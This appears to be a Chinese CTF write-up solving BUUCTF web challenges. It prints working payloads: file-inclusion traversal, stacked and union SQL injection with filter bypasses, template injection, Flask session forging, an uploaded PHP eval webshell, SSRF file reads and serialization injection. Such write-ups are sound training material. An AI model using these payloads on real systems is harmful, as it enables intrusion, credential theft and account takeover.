BUU CTF web題write up

0x01 WarmUp

進來就是一個大大的滑稽，F12拿到源碼鏈接source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

白名單中只有兩個頁面：source.php和hint.php，看hint.php

function checkFile():

• 變量未聲明、非字符串：return false
• $page未在白名單中：return false
• 以’?'爲分割符取出前面字符後得到$_page
• $_page未在白名單中：return false
• url解碼後，重複以上3、4步操作

最後如果request得到的file值非空、是字符串且通過了checkFile，則包含file

因爲服務器會自動url解碼一次，這裏用二次編碼

payload：source.php?file=hint.php%253f../../../../../../../ffffllllaaaagggg

參考鏈接：https://www.jianshu.com/p/0d75017c154f（CVE-2018-12613）

0x02 隨便注

測試過程

輸入1’報錯，1’ #正常

1’ order by 2#	1’ order by 3#
正常	error 1054 : Unknown column ‘3’ in ‘order clause’

得出有兩個字段，再聯合查詢一下，發現過濾了部分sql關鍵字

堆疊注入

1';show tables;#	//發現表1919810931114514和words

1'; show columns from `1919810931114514`;#	//發現表1919810931114514中有flag列

先將select * from `1919810931114514`進行十六進制編碼一下，得到如下值

0x73656c656374202a2066726f6d20603139313938313039333131313435313460

再通過預處理語句，最終構造的payload如下，得到flag

payload：1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

騷操作

這個必須要記一下，確實是太騷了

• 將words更名爲words1
• 將1919810931114514更名爲words
• 將1919810931114514表中flag字段改爲id
• 1’ or 1=1#直接查出flag

payload：1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;show columns from words;#

0x03 easy_tornado

• /welcome.txt：render

  簡單的百度了一下，這是render+tornado的python模板

• /hints.txt： md5(cookie_secret+md5(filename))

  哈希計算規則

• /flag.txt：flag in /fllllllllllllag

  此時的url爲/file?filename=/flag.txt&filehash=c9f7065977d26874f6d8e0f782aa1e21

  也就是文件名+文件哈希值訪問

模板注入

• 將文件名改爲/fllllllllllllag

  返回一個Error頁面，且參數msg=Error

• tornado模板快速訪問

  <title>
  	{{ escape(handler.settings["cookie"]) }}
  </title>
  

  handler指向RequestHandler

  RequestHandler.settings指向self.application.settings

  所以handler.settings指向RequestHandler.application.settings

• 輸入msg={{handler.settings}}

  得到cookie_secret: 7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7

• 抄個腳本計算一下哈希值

  import hashlib
  
  def md5value(s):
      md5 = hashlib.md5()
      md5.update(s.encode())
      return md5.hexdigest()
  
  def mdfive2():
      filename = '/fllllllllllllag'
      cookie = r"7dd9f819-0bd5-4a55-85a7-2b2b3156f0e7"
      print(md5value(cookie + md5value(filename)))
  
  mdfive2()
  

  得到哈希值爲：8a12c7de285700b57d8aa3222d4c1790

• 最終的url

  http://7bdadb48-8aab-4cee-b71f-1810a54d1e97.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=8a12c7de285700b57d8aa3222d4c1790
  

• 參考鏈接：https://www.jianshu.com/p/55c75e0f7928

0x04 高明的黑客

• 下載www.tar.gz，裏面是網站的源碼，而且php文件中都包含一些亂七八糟的shell

• 在本地搭一下環境，然後寫個腳本測試一下文件裏的shell

  python腳本如下：

import os
import requests
import re
import sys

for i in os.listdir("E:\911208\phpstudy\PHPTutorial\WWW\src")[::-1]:
	with open ("E:\911208\phpstudy\PHPTutorial\WWW\src\{}".format(i)) as f:
		content=f.read()
		url="http://127.0.0.1/src/{}".format(i)
		rc = re.compile(r'(\$_GET\[\')(.*)(\'\])')
		result=rc.findall(content)
		for r in result:
			a=r[1]
			url1=url+"?"+a+"=echo 'hackedha';"
			print(url1)
			sys.stdout.flush()
			r=requests.get(url=url1)
			r=r.content.decode('utf-8')
			if 'hacked' in r:
				print('yes')
				print(url)
				exit()

• 找到xk0SzyKwfzw.php文件下的Efa5BVG參數可以利用

• payload：http://710e3dd0-506e-4936-bfd5-e6904802adb2.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

0x05 admin

• 登陸頁面的hint

• change頁面下get到一個hint

• ok，下載下來發現是靶場源碼，用的是flask框架

• flask框架的session機制

  學習鏈接：https://www.anquanke.com/post/id/163975

  flask中session儲存在客戶端cookie中，且flask沒有加密操作，其cookie全部內容都可以被讀取。

抓取session

• 直接抓包就可以得到自己賬號的session

• config.py

  SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
  

• index.html

  {% if current_user.is_authenticated and session['name'] == 'admin' %}
  <h1 class="nav">hctf{xxxxxxxxx}</h1>
  

session僞造

腳本如下：
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

session解密得到的結果爲：

{'_fresh': True, '_id': b'50b3c6db23d13770917e4cb8c61cdf67dde86cff5e2e47f6be2daa872de7fdd150373ce7263caf379095ea77543d926414333a9cbb5fbd8c80f60df20bb4981e', 'csrf_token': b'47af145519e08dd39d3e2b4b8d3d5e5f604cd8ea', 'image': b'jPsF', 'name': '0xdawn', 'user_id': '10'}

將name中的值修改爲admin後再加密,得到的session如下：

.eJxFkEGLwjAQhf_KMmcPNdWL4EWiwYVJaWksk4uorTZp40JV2kb875t1Yfc0zDz43nvzhP25q241LO7do5rA3pSweMLHERYg85VBhkyL7YgsHdCfYuTNIJmKiG1n5Gkgljlpy0YLNZNOOm13LToVSUaMnBq12NQJP4WpYu2yBnPVB44npmK0gcA2LuzzwJ3qYh1Lr6LgNQ9ahHnq0cs6KaQhu3Pk0uB56bWlXgsaUXwayZsZFmoJrwmcbt15f_9qqut_BV7W2q4jmashKVSfiBDBtw0yNZLNTCJSr_mulQUx5JnVvG4pXb5xxh0u1R_p0K58dvlVrgdX_ZxKZ64wgcet6t5_g2kEr29DqW27.Xd9y8Q.BKLvXPsrixjIr4i0d8Fhkvaq03g

再將自己的session值替換爲僞造的值，即可完成admin登錄

0x06 CheckIn

源碼如下

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);//得到文件後綴名
    
    /*過濾掉各種php類型、.htacess、‘/i’不區分大小寫*/
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    /*過濾掉了文件中的<?,一句話跟圖片馬基本掛了*/
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    /*MIME驗證，需要修改Content-Type的值*/
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

• 獲得文件後綴名，過濾各種php類型、.htacess、且不區分大小寫
• 過濾文件中的’<?’
• MIME類型驗證

New point：.user.ini

自 PHP 5.3.0 起，PHP 支持基於每個目錄的 .htaccess 風格的 INI 文件。此類文件僅被 CGI／FastCGI SAPI 處理。此功能使得 PECL 的 htscanner 擴展作廢。如果使用 Apache，則用 .htaccess 文件有同樣效果。

• .user.ini利用條件

  服務器腳本語言爲php

  服務器使用CGI/FastCGI模式

  上傳目錄下有可執行的php文件

• auto_prepend_fiile、auto_append_file

  該配置項會讓php文件在執行前先包含一個指定的文件

Bypass

• 上傳一個.user.ini文件，內容如下

  GIF89a
  auto_prepend_file=1.jpg
  

• 上傳1.jpg

  GIF89a
  <script language='php'>@eval($_POST['0xdawn']);</script>
  

• 菜刀連上，找到flag

0x07 Easy Calc

源碼在http://node3.buuoj.cn:27584/calc.php下

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?> 

php字符串解析繞過

php需要將所有參數轉換爲有效的變量名，在解析查詢字符串時

• 刪除初始空格
• 將某些字符轉換爲下劃線

測試結果如下：

calc.php?num=phpinfo()	Forbidden
calc.php?%20num=phpinfo()	回顯

查看禁用的函數：

scandir()函數

scandir() 函數返回指定目錄中的文件和目錄的數組。

語法：scandir(directory,sorting_order,context);

directory	必須，規定要掃描的目錄
sorting_order	可選，規定排列順序。默認是 0，表示按字母升序排列。
context	可選，規定目錄句柄的環境。

• 掃描根目錄下所有文件：scandir(/)

• char(47)代替 / 繞過黑名單

• payload：calc.php?%20num=var_dump(scandir(chr(47)))

file_get_contents()函數

file_get_contents() 函數是用於將文件的內容讀入到一個字符串中的首選方法。

語法：file_get_contents(path,include_path,context,start,max_length)

path	必需。規定要讀取的文件。
include_path	可選。如果也想在 include_path 中搜尋文件的話，可以將該參數設爲 “1”。
context	可選。規定文件句柄的環境。
start	可選。規定在文件中開始讀取的位置。該參數是 PHP 5.1 新加的。
max_length	可選。規定讀取的字節數。該參數是 PHP 5.1 新加的。

GetFlag：calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

HTTP走私攻擊

參考鏈接：https://paper.seebug.org/1048/

經測試CL-CL方式可用，請求如下：

0x08 SSRF Me

源碼地址

https://github.com/CTFTraining/delta_2019_web_ssrfme

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

字符串拼接

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

• 假設secert_key爲xxx，訪問/geneSign?param=flag.txt，返回的md5爲md5(‘xxx’ + ‘flag.txt’ + ‘scan’)

• 構造訪問/geneSign?param=flag.txtread，得到的md5爲md5(‘xxx’ + ‘flag.txtread’ + ‘scan’ )，即爲目標sign

• 訪問/De1ta?param=flag.txt，構造Cookie:action=readscan;sign=6bf0e8c1e474589c49fd211c9f3ba760

local_file

• 文件包含得到sign

  http://5cb1ec0e-c4a0-4c5f-b967-87d59660cabf.node3.buuoj.cn/geneSign?param=local_file:///app/flag.txtread

• 構造cookie得到flag

哈希拓展攻擊

參考鏈接：https://xz.aliyun.com/t/5927

0x09 FakeBook

源碼泄露：/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

注入測試

• order by得到長度爲4

• 報數據庫名

• 報表名

• 報列名

• 報字段值

SSRF

• curl_exec()使用不當造成SSRF(服務器端請求僞造)

• 報錯信息可知網站絕對路徑(/var/www/html/)和數據庫裏的數據都是反序列存儲

• 通過file協議讀文件

• payload：

  view.php?no=-1++union++select++1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
  

• base64解碼得到flag

  <?php
  
  $flag = "flag{20b9f00e-27ad-42df-b157-f9a1953ca674}";
  exit(0);
  

0x0A piapiapia

源碼泄露:www.zip

• flag在config.php中

  <?php
  	$config['hostname'] = '127.0.0.1';
  	$config['username'] = 'root';
  	$config['password'] = '';
  	$config['database'] = '';
  	$flag = '';
  ?>
  

• update.php中POST提交的參數及正則

  		$profile['phone'] = $_POST['phone'];
  		$profile['email'] = $_POST['email'];
  		$profile['nickname'] = $_POST['nickname'];
  		$profile['photo'] = 'upload/' . md5($file['name']);
  		$user->update_profile($username, serialize($profile));
  		
  		if(!preg_match('/^\d{11}$/', $_POST['phone']))
  			die('Invalid phone');
  
  		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
  			die('Invalid email');
  		
  		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
  			die('Invalid nickname');
  
  		$file = $_FILES['photo'];
  		if($file['size'] < 5 or $file['size'] > 1000000)
  			die('Photo size error');
  

• profile.php中存在文件讀取

  $profile = unserialize($profile);
  		$phone = $profile['phone'];
  		$email = $profile['email'];
  		$nickname = $profile['nickname'];
  		$photo = base64_encode(file_get_contents($profile['photo']));
  

  當$profile[‘photo’]爲config.php時即可讀取到flag，而且這裏還有個反序列化操作

• class.php中的參數過濾

  	public function filter($string) {
  		$escape = array('\'', '\\\\');
  		$escape = '/' . implode('|', $escape) . '/';
  		$string = preg_replace($escape, '_', $string);
  
  		$safe = array('select', 'insert', 'update', 'delete', 'where');
  		$safe = '/' . implode('|', $safe) . '/i';
  		return preg_replace($safe, 'hacker', $string);
  	}
  

  其中需要注意的是where被替換成hacker是，長度加1

序列化profile

update.php中POST提交完後對$profile進行序列化操作

<?php
$profile = array();
$profile['phone'] = '18581582507';
$profile['email'] = '[email protected]';
$profile['nickname'] = '0xdawn';
$profile['photo'] = 'config.php';

$a = serialize($profile);
echo $a;
?>

結果爲：a:4:{s:5:"phone";s:11:"18581582507";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:6:"0xdawn";s:5:"photo";s:10:"config.php";}

反序列化

在nikename後加上";}s:5:“photo”;s:10:“config.php”;} 一共是34個字符，利用正則表達式替換34個where爲hacker，即可把這34個字符擠到photo中

• 用數組繞過nickname的正則過濾

• 將nickname修改爲以下值

  wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  

• 進入profile查看圖片信息

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2E1NWE1ZjczLTM5M2ItNGQyOS1hNDBkLWQ0MWFhMDA3MGQyYn0nOwo/Pgo=

• base64解碼得到flag

  <?php
  $config['hostname'] = '127.0.0.1';
  $config['username'] = 'root';
  $config['password'] = 'qwertyuiop';
  $config['database'] = 'challenges';
  $flag = 'flag{a55a5f73-393b-4d29-a40d-d41aa0070d2b}';
  ?>
  

極客大挑戰系列

0x01 Havefun

• F12得到源碼如下

  $cat=$_GET['cat'];
  echo $cat;
  if($cat=='dog')
  {
       echo 'Syc{cat_cat_cat_cat}';
  }
  

• payload：http://9b94f9bf-5000-46eb-9bff-181b6330400e.node3.buuoj.cn/?cat=dog

0x02 Knife

• 直接菜刀連上，flag在根目錄下

0x03 Secret File

• F12一下找到一個路徑

• 訪問這個頁面後有一個secret鏈接

• 點一下後直接跳轉了
  

• 抓包得到secr3t.php這個頁面，代碼如下

  <html>
      <title>secret</title>
      <meta charset="UTF-8">
  <?php
      highlight_file(__FILE__);
      error_reporting(0);
      $file=$_GET['file'];
      if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
          echo "Oh no!";
          exit();
      }
      include($file); 
  //flag放在了flag.php裏
  ?>
  </html>
  

• 考點是php僞協議讀取文件

  payload：http://b8fc1459-1aac-406c-8ef2-af149e5b70ed.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
  

• base64解碼後得到flag

0x04 EasySQL

直接萬能密碼注入得到flag

0x05 LoveSQL

沒有任何過濾，一步步聯合查詢就行了

數據庫名：username=admin&password=admin'union select
1,2,group_concat(schema_name) from information_schema.schemata#

表名：username=admin&password=admin'union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database()#

列名：username=admin&password=admin'union select 1,2,group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name='l0ve1ysq1'#

字段值：username=admin&password=admin'union select
1,2,group_concat(password) from l0ve1ysq1#

0x06 BabySQL

過濾了一些關鍵字，需要雙寫繞過

數據庫名：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata--+

表名：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema%3Ddatabase()--+

列名：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'--+

字段值：username=admin&password=admin'uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql--+